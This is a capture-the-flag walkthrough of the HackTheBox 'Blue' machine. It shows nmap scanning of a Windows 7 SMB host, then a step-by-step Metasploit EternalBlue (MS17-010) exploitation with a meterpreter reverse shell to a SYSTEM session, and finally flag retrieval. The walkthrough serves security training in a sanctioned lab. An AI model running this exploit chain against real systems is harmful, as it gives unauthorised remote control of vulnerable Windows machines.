CHALLENGE INFORMATION
 | Platform: HackTheBox Collection: Beginner Track Machine: Blue Released: 28/07/2017 |
MACHINE SYNOPSIS
Blue, while possibly the most simple machine on Hack The Box, demonstrates the severity of the EternalBlue exploit, which has been used in multiple large-scale ransomware and crypto-mining attacks since it was leaked publicly.
Preparations
There are several methods to connect to the target machine. Throughout this walkthrough, we employ the provided pwnbox.
Once connected, we spawn the target machine.
Additionally – even though not required – we may set a local variable (available only in the current shell) containing our target host’s IP address. Once set, we access it by prepending $ to the variable name.
user@kali:~$ rhost=<targetbox-ip>
user@kali:~$ echo $rhost
<targetbox-ip>
user@kali:~$We can use the unset command to remove it after we no longer need it.
user@kali:~$ unset rhostInformation Gathering
As usual, we start with a quick connection check.
user@kali:~$ ping -c 4 -n -R $rhost > connection-test.txt
user@kali:~$ cat connection-test.txt
...
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
...
user@kali:~$This is followed by the usual TCP scan (version detection, default scripts, top ports).
user@kali:~$ nmap -sV -sC -on nmap-service-defscripts-topports-scan $rhost
...
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
...
Host script results:
...
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
...
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
...
user@kali:~$A couple of ports are reported open. One thing clearly stands out, however: Port 445 with microsoft-ds as the service and with Windows 7 Professional 7601 Service Pack 1 as the version.
Or put simply, SMB running on a quite old OS.
Doing a quick Internet search for its reported vulnerabilities leads us to MS17-010 EternalBlue – the famous EternalBlue exploit. This is the same exploit used by the WannaCry ransomware a couple of years back, which targets CVE-2017-0144.
Since an exploit already exists for it in Metasploit, we simply continue from there.
Exploitation
We begin by firing up Metasploit.
user@kali:~$ msfconsole -q
[msf](Jobs:0 Agents:0) >>After searching for the aforementioned exploit,
[msf](Jobs:0 Agents:0) >> search ms17-010 eternalblue
Matching Modules
================
...
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
1 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
2 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
3 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
4 exploit/windows/smb/smb_doublepulsar_rce 2017-04-14 great Yes SMB DOUBLEPULSAR Remote Code Execution
...
[msf](Jobs:0 Agents:0) >>we are presented with several options. The one we will be using here is the most common one for EternalBlue, available at exploit/windows/smb/ms17_010_eternalblue. Selecting it,
[msf](Jobs:0 Agents:0) >> use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>and querying the module for information helps us verify that the exploit is indeed appropriate for our current case.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> info
...
Name: MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
Module: exploit/windows/smb/ms17_010_eternalblue
Platform: Windows
Arch: x64
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Average
...
Description:
This module is a port of the Equation Group ETERNALBLUE exploit,
part of the FuzzBunch toolkit released by Shadow Brokers. There is a
buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size is
calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error
where a DWORD is subtracted into a WORD. The kernel pool is groomed
so that overflow is well laid-out to overwrite an SMBv1 buffer.
Actual RIP hijack is later completed in
srvnet!SrvNetWskReceiveComplete. This exploit, like the original may
not trigger 100% of the time, and should be run continuously until
triggered. It seems like the pool will get hot streaks and need a
cool down period before the shells rain in again. The module will
attempt to use Anonymous login, by default, to authenticate to
perform the exploit. If the user supplies credentials in the
SMBUser, SMBPass, and SMBDomain options it will use those instead.
On some systems, this module may cause system instability and
crashes, such as a BSOD or a reboot. This may be more likely with
some payloads.
...
Also known as:
ETERNALBLUE
...
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>Since the exploit fits our target, all that remains is to configure it properly and then run it. Listing the module’s options should help us with the configuration.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> options
...
Module options (exploit/windows/smb/ms17_010_eternalblue):
...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 445 yes The target port (TCP)
SMBDomain no (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
VERIFY_TARGET true yes Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.
...
Payload options (windows/x64/meterpreter/reverse_tcp):
...
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process,
none)
LHOST 161.35.38.166 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
...
Exploit target:
Id Name
-- ----
0 Automatic Target
...
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>Looking at the default configuration, we can leave almost all settings untouched, except of course the target and local host settings.
We could specify our target host’s OS, setting it to – OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1) – which was reported earlier during port scanning, but the module ships with automatic architecture and OS discovery, so this is unnecessary.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set rhosts 10.129.174.73
rhosts => 10.129.174.73
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> set lhost tun0
lhost => 10.10.14.20
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>With everything properly set up, we run a quick check to see if our target is vulnerable.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> check
...
[*] 10.129.174.73:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.129.174.73:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 10.129.174.73:445 - Scanned 1 of 1 hosts (100% complete)
[+] 10.129.174.73:445 - The target is vulnerable.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >>The target is indeed vulnerable, so we run our exploit.
[msf](Jobs:0 Agents:0) exploit(windows/smb/ms17_010_eternalblue) >> run
...
[*] Meterpreter session 1 opened (10.10.14.20:4444 -> 10.129.174.73:49158) at ...
...
(Meterpreter 1)(C:\Windows\system32) >A Meterpreter session was successfully opened, giving us a shell connection to our target. As we can see, we are logged in with the NT AUTHORITY\SYSTEM account, which has the highest privileges on a local Windows system; it is even more powerful than the local administrator account.
(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: NT AUTHORITY\SYSTEM
(Meterpreter 1)(C:\Windows\system32) >Therefore, there is no need for any lateral movement or privilege escalation on our part – we already possess the privileges necessary to access both flags.
Post-Exploitation
All that remains is to find and retrieve both the user and root flags. We drop into the system command shell, since traversing directories on a Windows system might be easier via CMD.
(Meterpreter 1)(C:\Windows\system32) > shell
Process 1128 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>Once we identify the local user account – haris, we navigate to his Desktop and retrieve the user flag.
C:\Windows\system32>cd c:\users\haris\desktop\
...
c:\Users\haris\Desktop>dir
...
... 34 user.txt
...
c:\Users\haris\Desktop>type user.txt
...
<redacted-user-flag>
...
c:\Users\haris\Desktop>Retrieving the root flag is even easier: we already know that it usually resides on the Administrator’s Desktop.
c:\Users\haris\Desktop>cd c:\users\administrator\desktop
...
c:\Users\Administrator\Desktop>dir
...
... 34 root.txt
...
c:\Users\Administrator\Desktop>type root.txt
...
<redacted-root-flag>
...
c:\Users\Administrator\Desktop>With this, we have successfully compromised the target machine. All that remains is to submit the flags and then terminate the target box (if not terminated already).